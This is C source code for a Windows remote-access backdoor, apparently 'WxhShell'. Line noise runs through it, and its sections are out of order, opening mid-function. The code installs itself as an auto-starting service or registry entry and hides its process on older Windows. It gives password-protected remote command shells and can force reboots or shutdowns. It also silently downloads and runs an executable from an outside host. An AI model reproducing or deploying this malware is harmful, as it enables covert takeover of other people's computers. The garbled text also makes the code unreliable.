    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m >Rdsn~l  
    else { %jE0Z4\  
    closesocket(wsh); !+k);;.+  
    ExitThread(0); /Hs\`Kg"!  
    } I[6ft_*  
    break; 8aqH;|fG}  
    } K/YXLR +  
  // 获取shell +C}s"qrb@  
  case 's': { <(!~s><.  
    CmdShell(wsh); ,Y&7` m  
    closesocket(wsh); 2/iBk'd  
    ExitThread(0); B:>>D/O  
    break; ?NVX# t'  
  } ]Sey|/@D  
  // 退出 +=`*`eP:U  
  case 'x': { tCR#TW+IY-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MpVZL29)  
    CloseIt(wsh); #ZC9=  
    break; * lJkk  
    } { v  [  
  // 离开 Al3*? H&  
  case 'q': { SIZ&0V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HdR TdV  
    closesocket(wsh); >1qum'  
    WSACleanup(); 8DuD1hZq  
    exit(1); xrZzfg  
    break; M?d(-en  
        } }Ip1|Gj  
  } ]IclA6  
  } vn+~P9SHQ  
:caXQ)  
  // 提示信息 ri2`M\;gt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +gyGA/5:d$  
} M9QYYo@  
  } to{7B7t>q  
>g;995tG  
  return; P8X59^cJ  
} ei82pLM z  
]&?8l:3-G  
// shell模块句柄 I&%KOe0  
int CmdShell(SOCKET sock) Eb7GiRT#  
{ "$nff=]  
STARTUPINFO si; =D`:2k~ ,  
ZeroMemory(&si,sizeof(si)); U+Vb#U7;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )zydD=,bu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l[6lXR&|  
PROCESS_INFORMATION ProcessInfo; 8 KRo<  
char cmdline[]="cmd"; Zg4kO;r08  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $!vK#8-&{  
  return 0; z?Cez*.h>  
} ;LC?3.  
(@Kc(>(: Y  
// 自身启动模式 p=[SDk`  
int StartFromService(void) m@W>ku  
{ Eq=j+ch7  
typedef struct _l+8[\v  
{ GP(ze-Yp  
  DWORD ExitStatus; hvc3n> Y[}  
  DWORD PebBaseAddress; xC9?Wt'  
  DWORD AffinityMask; Nwg?(h#  
  DWORD BasePriority; =PjxMC._  
  ULONG UniqueProcessId; 'A,)PZL9i  
  ULONG InheritedFromUniqueProcessId; R:`)*=rL%  
}   PROCESS_BASIC_INFORMATION; +xuj]J  
A!v:W6yiz  
PROCNTQSIP NtQueryInformationProcess; =u`tlN5pOT  
wg4Ol*y'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; < w;49 0g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P}"T 3u\N  
(sSGJS'X  
  HANDLE             hProcess; E5IS<.  
  PROCESS_BASIC_INFORMATION pbi; 61}eB/;7  
 Khh}flRy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KJv[z   
  if(NULL == hInst ) return 0; F+]cFx,/  
X2E=2tXl`7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3 TRG] 5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -' =?Hs.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _`. Q7  
!tSh9L;<O  
  if (!NtQueryInformationProcess) return 0; d+nxvh?I8  
c=D~hzN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  L+CPT  
  if(!hProcess) return 0; oS~;>]W  
+OZ\rs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HLCI  
hOYP~OR  
  CloseHandle(hProcess); k3T374t1b  
? U* `!-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !j& #R%D  
if(hProcess==NULL) return 0; "TVmxE%(  
~ \b~  
HMODULE hMod; iikMz|:7U  
char procName[255]; ?aguAqG$  
unsigned long cbNeeded; PU4-}!K  
iZ4"@G:,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); * ).YU[i  
DUwms"I,%  
  CloseHandle(hProcess); @p@b6iLpO  
pq:[`   
if(strstr(procName,"services")) return 1; // 以服务启动 X%T%N;P  
+i[vJRLxl~  
  return 0; // 注册表启动 a+j"8tHu$  
} F_0@S h"  
k\r^GB  
// 主模块 7~SnY\B|  
int StartWxhshell(LPSTR lpCmdLine) B}J0 d  
{ TkVqv v  
  SOCKET wsl; i7e_~K  
BOOL val=TRUE; j_h0 hm]  
  int port=0; _j*a5fsPU  
  struct sockaddr_in door; Z)f?X  
}qR6=J+Dx  
  if(wscfg.ws_autoins) Install(); 7 .]H9  
K)^8 :nt  
port=atoi(lpCmdLine); &}t8O?!  
,YJn=9pTl  
if(port<=0) port=wscfg.ws_port; <`?%Cz AO  
'hFL`F*  
  WSADATA data; DG}s`'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LQR^lD+_=  
wB:<ICm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ro;I%j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mW~*GD~r  
  door.sin_family = AF_INET; s~ou$!|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6  $`l  
  door.sin_port = htons(port); ErgWsAw-  
sLWVgD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HA[7)T N1E  
closesocket(wsl); < FY%QB)h  
return 1; 0\, !  
} 4K 8(H9(  
*U$%mZS]1  
  if(listen(wsl,2) == INVALID_SOCKET) { fe8hgTP|  
closesocket(wsl); FNw]DJ]  
return 1; qFl|q0\ A  
}  M%g2UP  
  Wxhshell(wsl); X3~` ~J  
  WSACleanup(); =\mJ5v"hA  
TM|PwY  
return 0; ?<S fhjU  
QMy1!:Z&!  
} 4$81ilBcL  
:98:U~ d1  
// 以NT服务方式启动 6Kw?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +N'&6z0Wf  
{ Xtloyph  
DWORD   status = 0; d\zUtcJwC  
  DWORD   specificError = 0xfffffff; KT17I&:  
|9p0"#4u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C Sz+cS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :F9Oj1lM%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bkz/V/Y  
  serviceStatus.dwWin32ExitCode     = 0; bcT'!:  
  serviceStatus.dwServiceSpecificExitCode = 0; X<5&R{oZ  
  serviceStatus.dwCheckPoint       = 0; jeB"j  
  serviceStatus.dwWaitHint       = 0; qJ .XI   
nB 0KDt_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yh Ow0 x  
  if (hServiceStatusHandle==0) return; JcMl*k  
CNhLp#  
status = GetLastError(); G(ZEP.h`u  
  if (status!=NO_ERROR) dk"@2%xJ2d  
{ bnPhhsR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2dK:VC4U  
    serviceStatus.dwCheckPoint       = 0; a8gOb6qF/H  
    serviceStatus.dwWaitHint       = 0; ;/kmV~KG  
    serviceStatus.dwWin32ExitCode     = status; H}q$6W E  
    serviceStatus.dwServiceSpecificExitCode = specificError; oX'@,(6)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OmK4 \_.  
    return; D6"d\F m<  
  } >&k`NXS|V  
$=`d[04  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; - P "  
  serviceStatus.dwCheckPoint       = 0; YLS*uXB&.  
  serviceStatus.dwWaitHint       = 0; $~VIx% h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TuaP  
} z`NJelcuz\  
Z3=N= xY]  
// 处理NT服务事件,比如:启动、停止 V-E 77u6{0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S <-5<Pg  
{ NjPQT9&3h  
switch(fdwControl) AX Q.E$1g  
{ I*$-[3/  
case SERVICE_CONTROL_STOP: d+6q% U  
  serviceStatus.dwWin32ExitCode = 0; PHUeN]s#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {+[ Ex2b$  
  serviceStatus.dwCheckPoint   = 0; j(}pUV B  
  serviceStatus.dwWaitHint     = 0; WF_QhKW|k  
  { fL("MDt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cd=K=P}p  
  } rq Uk_|Xa  
  return; /0$405  
case SERVICE_CONTROL_PAUSE: a*:GCGe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %NTJih`  
  break; /k(wb4Hv  
case SERVICE_CONTROL_CONTINUE: u} +?'B)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FvO,* r9  
  break; Oi]B%Uxy=  
case SERVICE_CONTROL_INTERROGATE: Jr= fc*f  
  break; P,xJVo\  
}; =BJe}AV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b TZ.y.sI  
} atmW? Z  
N2Ysi$  
// 标准应用程序主函数 2@@evQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P2| +7D:  
{ &FJr?hY%  
\=`jo$S  
// 获取操作系统版本 #K/JU{"  
OsIsNt=GetOsVer(); y~wr4Q=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JG7K-W|!c  
|[>yJXxEL@  
  // 从命令行安装 da_0{;wR  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7+IRI|d  
9\T9pjdZE  
  // 下载执行文件 M4CC&?6\  
if(wscfg.ws_downexe) { ^dsj1#3z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]ms+ Va_/  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1L!jI2~x}  
} `e?~c'a@  
O: #Sj jK  
if(!OsIsNt) { r* l c#  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~jmI`X/  
HideProc(); ao[yHcAs  
StartWxhshell(lpCmdLine); g}uSIv^  
} >"|t*k S  
else tmM; Z(9t  
  if(StartFromService()) Y>ATL  
  // 以服务方式启动 3-)}.8F  
  StartServiceCtrlDispatcher(DispatchTable); JAI.NKB3  
else <"xqt7f  
  // 普通方式启动 6`bR' 0D  
  StartWxhshell(lpCmdLine); '5~l{3Lw  
wO`G_!W9  
return 0; rk@qcQR  
} 8xG"hJR  
e=eip?p  
i}i >ho-8  
+P,ic*Kq*  
=========================================== rLA-q||  
a2kAZCQ  
c&{= aIe w  
Yx,7e(AI`  
G007[|  
Jf\`?g3#  
" (0.JoeA`y  
R*XZPzg%  
#include <stdio.h> 0IA' 5)  
#include <string.h> L/I ] NA!U  
#include <windows.h> Dl AwB1Ak  
#include <winsock2.h> KaH e(  
#include <winsvc.h> c': 4e)  
#include <urlmon.h> Z glU{sU  
n:b,zssP  
#pragma comment (lib, "Ws2_32.lib") t~nW&]E  
#pragma comment (lib, "urlmon.lib") %+;l|Z{Uf  
5,V*aP  
#define MAX_USER   100 // 最大客户端连接数 Kv<mDA!  
#define BUF_SOCK   200 // sock buffer Y6d~hLC  
#define KEY_BUFF   255 // 输入 buffer v\qyDZVV  
fX6pW%Q'6  
#define REBOOT     0   // 重启 &^uaoB0  
#define SHUTDOWN   1   // 关机 G;ZN>8NB  
RAws{<6T-  
#define DEF_PORT   5000 // 监听端口 a" T+CA  
&-JIXVd*R  
#define REG_LEN     16   // 注册表键长度 -S&9"=v  
#define SVC_LEN     80   // NT服务名长度 a1u4v/Qu9  
[z+YX s!N  
// 从dll定义API ^tWSu?9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6d2e WS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *.+F]-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i[{*(Y$L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  >;%QW  
lA;^c)  
// wxhshell配置信息 >K1e=SY  
struct WSCFG { VGu(HB8n#  
  int ws_port;         // 监听端口 .;.Zbhm  
  char ws_passstr[REG_LEN]; // 口令 p=Le oc1  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4xg1[Z%:  
  char ws_regname[REG_LEN]; // 注册表键名 Bss *-K]  
  char ws_svcname[REG_LEN]; // 服务名 * LWihal  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p>:.js5.a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (n jTS+?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8}4.x3uw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =MD)F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aI`d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Yl?s^]SFU  
:,j^ei  
}; b9 li   
BM)a,fIgo  
// default Wxhshell configuration  E<0Mluk  
struct WSCFG wscfg={DEF_PORT, N2k{@DY  
    "xuhuanlingzhe", [;F!\B-  
    1, <S6?L[_  
    "Wxhshell", hN gT/y8  
    "Wxhshell", !W0JT#0  
            "WxhShell Service", Eb63O  
    "Wrsky Windows CmdShell Service", X}C8!LA  
    "Please Input Your Password: ", .*>C[^  
  1, X.,R%>O}`P  
  "http://www.wrsky.com/wxhshell.exe", m(kv:5<>  
  "Wxhshell.exe" R\#5;W^  
    }; 3pL4 Zhf  
px+]/P <dX  
// 消息定义模块 c'Z)uquvP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TL7qOA7^X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h^`@%g9 S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MBKF8b'k  
char *msg_ws_ext="\n\rExit."; kApDD[ N  
char *msg_ws_end="\n\rQuit."; /Dt:4{aTOC  
char *msg_ws_boot="\n\rReboot..."; ui|6ih$+  
char *msg_ws_poff="\n\rShutdown..."; T?=]&9Y'  
char *msg_ws_down="\n\rSave to "; d7zZ~n  
  uk,9N  
char *msg_ws_err="\n\rErr!"; In!^+j  
char *msg_ws_ok="\n\rOK!"; b].U/=Hs  
xXmlHo<D  
char ExeFile[MAX_PATH]; eWD!/yr|  
int nUser = 0; /l3Oi@\  
HANDLE handles[MAX_USER]; Gi$\th,  
int OsIsNt; KZ^>_K&  
\VW":+  
SERVICE_STATUS       serviceStatus; qf<o"B|_9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '.S02=/  
\9od*y  
// 函数声明 b'R]DS{8  
int Install(void); BePb8 k<y  
int Uninstall(void); OPqhdqo  
int DownloadFile(char *sURL, SOCKET wsh); ]iFW>N*a  
int Boot(int flag); ]*U; }  
void HideProc(void); Q`Pe4CrWvu  
int GetOsVer(void); HJpx,NU'  
int Wxhshell(SOCKET wsl); (dO0`wfM  
void TalkWithClient(void *cs); V|HO*HiB3  
int CmdShell(SOCKET sock); FB>P39u  
int StartFromService(void); d.B<1"MQ  
int StartWxhshell(LPSTR lpCmdLine); '}(Fj2P79  
0R(['s:3`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s- 0Xt<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;G"!y<F  
bu \(KR$s  
// 数据结构和表定义 EqIs&){  
SERVICE_TABLE_ENTRY DispatchTable[] = O~ x{p,s U  
{ ;<E?NBV^  
{wscfg.ws_svcname, NTServiceMain}, i??+5o@uTF  
{NULL, NULL} HxL uJ  
}; c*" P+  
IEJ)Q$GI#  
// 自我安装 T xpj#JD  
int Install(void) wGIRRM !b  
{ hg'eSU$J  
  char svExeFile[MAX_PATH]; ^%g 8OP  
  HKEY key; r( wtuD23q  
  strcpy(svExeFile,ExeFile); Zc&pJP+M'U  
|gINB3L  
// 如果是win9x系统,修改注册表设为自启动 qxZf!NX5  
if(!OsIsNt) { np}0O  X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?hIDyM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s`.J!^u`  
  RegCloseKey(key); <dBz]W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vQ $"|8,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aE"dpYQ  
  RegCloseKey(key); 1}ifJ~)5S  
  return 0; tO"AeZe%|  
    } 4U'sBaY!K  
  } ATmyoN2@>  
} ,5 3`t  
else { j0 Os]a  
19oyoi"  
// 如果是NT以上系统,安装为系统服务 d+ $:u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3(.Y>er%U  
if (schSCManager!=0) k{ZQM  
{ Ze[\y(K!  
  SC_HANDLE schService = CreateService Jiru~Vo+  
  ( YX3NZW2i  
  schSCManager, < mFU T  
  wscfg.ws_svcname, 7nW <kA  
  wscfg.ws_svcdisp, n}4q2x"  
  SERVICE_ALL_ACCESS, 9~K+h/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6vJ S"+ <  
  SERVICE_AUTO_START, [+}0K{(O=  
  SERVICE_ERROR_NORMAL, XJq]l6a:  
  svExeFile, jgkY^l  
  NULL, SVV-zz]3M  
  NULL, mfDt_Iq  
  NULL, *Id[6Z  
  NULL, RgM=g8}M  
  NULL ~rAcT6#  
  ); V^}$f3\B  
  if (schService!=0) 6bf!v  
  { ~ySsv  
  CloseServiceHandle(schService); ZR{YpLFQ  
  CloseServiceHandle(schSCManager); j``Ku@/x0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QNXS.!\P  
  strcat(svExeFile,wscfg.ws_svcname); W3%RB[s-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0}9jl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k@[[vj|W  
  RegCloseKey(key); p2+K-/}ApP  
  return 0; k%s,(2)30  
    } {!.w}  
  } O\%0D.HEz  
  CloseServiceHandle(schSCManager); v&f\ Jv7  
} <fMQ#No  
} zP c54 >f  
PVmePgF   
return 1; "`Xbi/i  
} YNp-A.o W@  
Ou f\%E<  
// 自我卸载 cnG>EG  
int Uninstall(void) Sm|TDH  
{ $!\L6;:  
  HKEY key; nmuU*o L  
AOTtAV_e  
if(!OsIsNt) { y4&x`|tv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m-cw5lW  
  RegDeleteValue(key,wscfg.ws_regname); moMNd(p  
  RegCloseKey(key); jpMMnEVj6P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7+6I~&x!Lz  
  RegDeleteValue(key,wscfg.ws_regname); 7WmY:g#s  
  RegCloseKey(key); s]D1s%Mx  
  return 0; k6\&[BQs  
  } =<ht@-1  
} 6G_{N.{(  
} )M7~RN  
else { <9;X1XtpI  
Ngm/5Lc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8'v:26   
if (schSCManager!=0) #N y+6XM  
{ .n?i' 8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'P%&*%  
  if (schService!=0) ~BnmAv$m[  
  { QG@Z%P~,E  
  if(DeleteService(schService)!=0) { lJS3*x#H  
  CloseServiceHandle(schService); QlH[_Pi  
  CloseServiceHandle(schSCManager); C]na4yE 8  
  return 0; FEV Ya#S  
  } G('UF1F  
  CloseServiceHandle(schService); v|3mbApv  
  }  (8 /&  
  CloseServiceHandle(schSCManager); !!~r1)zN  
} G=kW4rAk  
} ~ntDzF  
Ov.oyke4  
return 1; J*^ i=y  
} pp >F)A0v  
$?pfst~;O  
// 从指定url下载文件 6/Z_r0^O  
int DownloadFile(char *sURL, SOCKET wsh) @%^h|g8>Fu  
{ W&&C[@Jd3  
  HRESULT hr; HisH\z/i5)  
char seps[]= "/"; }5B\:*yW  
char *token; E*+]Iq1u  
char *file; v,iq,p)&  
char myURL[MAX_PATH]; o$}$Z&LK  
char myFILE[MAX_PATH]; zzT4+wy`  
,V;HM F.  
strcpy(myURL,sURL); bGlr>@;-r  
  token=strtok(myURL,seps); $ ]^Io)}f@  
  while(token!=NULL) m\|EM'@k  
  { aQj6XG u  
    file=token; }|znQ3A2\l  
  token=strtok(NULL,seps); l o- 42)  
  } j& L@L.d  
%Bg>=C)^(1  
GetCurrentDirectory(MAX_PATH,myFILE); w@,v$4Oi  
strcat(myFILE, "\\"); mZjP;6  
strcat(myFILE, file); b$`/f:_  
  send(wsh,myFILE,strlen(myFILE),0); UcB2Aauji  
send(wsh,"...",3,0); e :@PI(P!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r[2*K 9  
  if(hr==S_OK) G P ' -  
return 0; m;>:mwU  
else 2>Qy*  
return 1; [X@JH6U r  
DJ!pZUO{  
} jk%H+<FU`  
k<rJm P{  
// 系统电源模块 6O*lZNN  
int Boot(int flag) 3u,B<  
{ M L7vP  
  HANDLE hToken; +\>op,_9I  
  TOKEN_PRIVILEGES tkp; >U]KPL[%  
TA~ZN^xI  
  if(OsIsNt) { k#8E9/ t@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ++=jh6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Rq|]KAN  
    tkp.PrivilegeCount = 1; y%<CkgZS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Lo=n)cV1,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TT&%[A+  
if(flag==REBOOT) { :fnK`RnaQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6 8Vxy  
  return 0; *mW2vJ/B  
} vxrqUjK7  
else { Mh}vr%0;)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Qzv&  
  return 0; zbvV:9N  
} In;+wFu;M  
  } SES-a Mi3  
  else { Na+h+wD.D  
if(flag==REBOOT) { Yt=2HJY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VaO[SW^  
  return 0; !;Pp)SRzKG  
} JX#0<U|L  
else { | vxmgX)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bfK4ps}m*  
  return 0; .k|\xR  
} FRayB VHL  
} VWqZ`X  
wv Mp~  
return 1; +HG*T[%/  
} P4 #j;k4P  
3L{)Y`P  
// win9x进程隐藏模块 ENFM``dV#  
void HideProc(void) @\a~5CLN  
{ -_Kw3x  
ff00s+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pfFHuS~  
  if ( hKernel != NULL ) y43ha  
  { J_9[ x mM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `X<a(5[vV3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p+b$jKWQ  
    FreeLibrary(hKernel); 8uA!Vrp3  
  } 0: B%,n UM  
bo@, B  
return; Xx\,<8Xn  
} <*o V-A  
4^:$|\?]  
// 获取操作系统版本 D/hq~- g  
int GetOsVer(void) YoWXHg!U  
{ DZ9^>`*  
  OSVERSIONINFO winfo;  , YlS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A,3qjd,$ c  
  GetVersionEx(&winfo); ^$[iLX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p+y"r4   
  return 1; !t\sg  
  else 0;hn;(V]"  
  return 0; =J'Q%qN<Zd  
} d$Y_vX<  
e&!8UYP  
// 客户端句柄模块 Sf@xP.d  
int Wxhshell(SOCKET wsl) &2I8!Ia  
{ F@zTz54t  
  SOCKET wsh; Oz)/KZ  
  struct sockaddr_in client; 6;;2e> e  
  DWORD myID; :39arq  
vJS}_j]_@  
  while(nUser<MAX_USER) ]EG8+K6  
{ A8Km8"  
  int nSize=sizeof(client); 4vCUVo r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .}:*tvot  
  if(wsh==INVALID_SOCKET) return 1; d1'= \PYr  
5hTScnL%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `7[!bCl  
if(handles[nUser]==0) @jrxbo;5  
  closesocket(wsh); ^)C#  
else ew]G@66  
  nUser++; 7nP{a"4_  
  } eBY/Y6R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y9w,Su2  
}w8yYI  
  return 0; X8A.ag0Uu  
} c c/nzB  
[70 5[  
// 关闭 socket 1/K1e$r  
void CloseIt(SOCKET wsh) $RUK<JN$6  
{ u! dx+vd  
closesocket(wsh); ^Y5I OX:  
nUser--; MH0wpHz  
ExitThread(0); 0G2Y_A&e**  
} -Kcjnl92i  
9}Ge@a<j  
// 客户端请求句柄 .tQ(q=#  
void TalkWithClient(void *cs) COmu.'%*  
{ ^YB2E*  
JAT%s %UC  
  SOCKET wsh=(SOCKET)cs; @AK&R~<  
  char pwd[SVC_LEN]; @]p {%"$  
  char cmd[KEY_BUFF]; ~$hR:I1  
char chr[1]; .?LRt  
int i,j; k!'+7K.  
?e,:x ]\L  
  while (nUser < MAX_USER) { >y(loMl  
W1Ye+vg/s  
if(wscfg.ws_passstr) { ,+I]\ZeO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %s^1de  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G;EJ\J6@Yw  
  //ZeroMemory(pwd,KEY_BUFF); E&5S[n9{3  
      i=0; t*H|*L#YR  
  while(i<SVC_LEN) { yrl7  
WNKg>$M  
  // 设置超时 0rm(i*Q  
  fd_set FdRead; o[i*i<jv-  
  struct timeval TimeOut; dDD5OnWmJ  
  FD_ZERO(&FdRead); c]bG5  
  FD_SET(wsh,&FdRead); $Sa7N%D  
  TimeOut.tv_sec=8; {TdxsE>  
  TimeOut.tv_usec=0; 1LAd5X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !hHX8TD^J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0,Ib74N'w  
.yFO] r1aL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .GL@`7"  
  pwd=chr[0]; }[h]z7e2S  
  if(chr[0]==0xd || chr[0]==0xa) { Z:es7<#y  
  pwd=0; XXA]ukj;r  
  break; `AvK=]  
  } G6G-qqXy6  
  i++; ]qu6/Z  
    } 65*Hf3~~  
c\&;Xr  
  // 如果是非法用户,关闭 socket \sfc!5G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '>n&3`r5  
} hw*u.46  
*c&OAL]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LZ.Xcy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A1`6+8}o;b  
aw~h03R_Z  
while(1) { *::.Uo4O  
\okv}x^L=Z  
  ZeroMemory(cmd,KEY_BUFF); dUl"w`3  
kqxq'Aq)d  
      // 自动支持客户端 telnet标准   @^  *62  
  j=0; AO|1m$xf  
  while(j<KEY_BUFF) { ^u1Nbo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8#- Nx]VM  
  cmd[j]=chr[0]; c~;VvYu  
  if(chr[0]==0xa || chr[0]==0xd) { X.[bgvm~C  
  cmd[j]=0; cMnN} '  
  break; " a,4E{7  
  } *N:0L,8  
  j++; *+2_!=4V  
    } @!O(%0 =  
|@yYM-;6  
  // 下载文件  ;Q4,I[?%  
  if(strstr(cmd,"http://")) { aDxNAfP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AXSip  
  if(DownloadFile(cmd,wsh)) YRr,{[e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DuDt'^]  
  else o?Cc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2N]8@a  
  } h z{--  
  else { _nEVmz!zg  
;134$7!Y  
    switch(cmd[0]) { :FtV~^Z  
  +zq"dj_  
  // 帮助 U{LS_VI~  
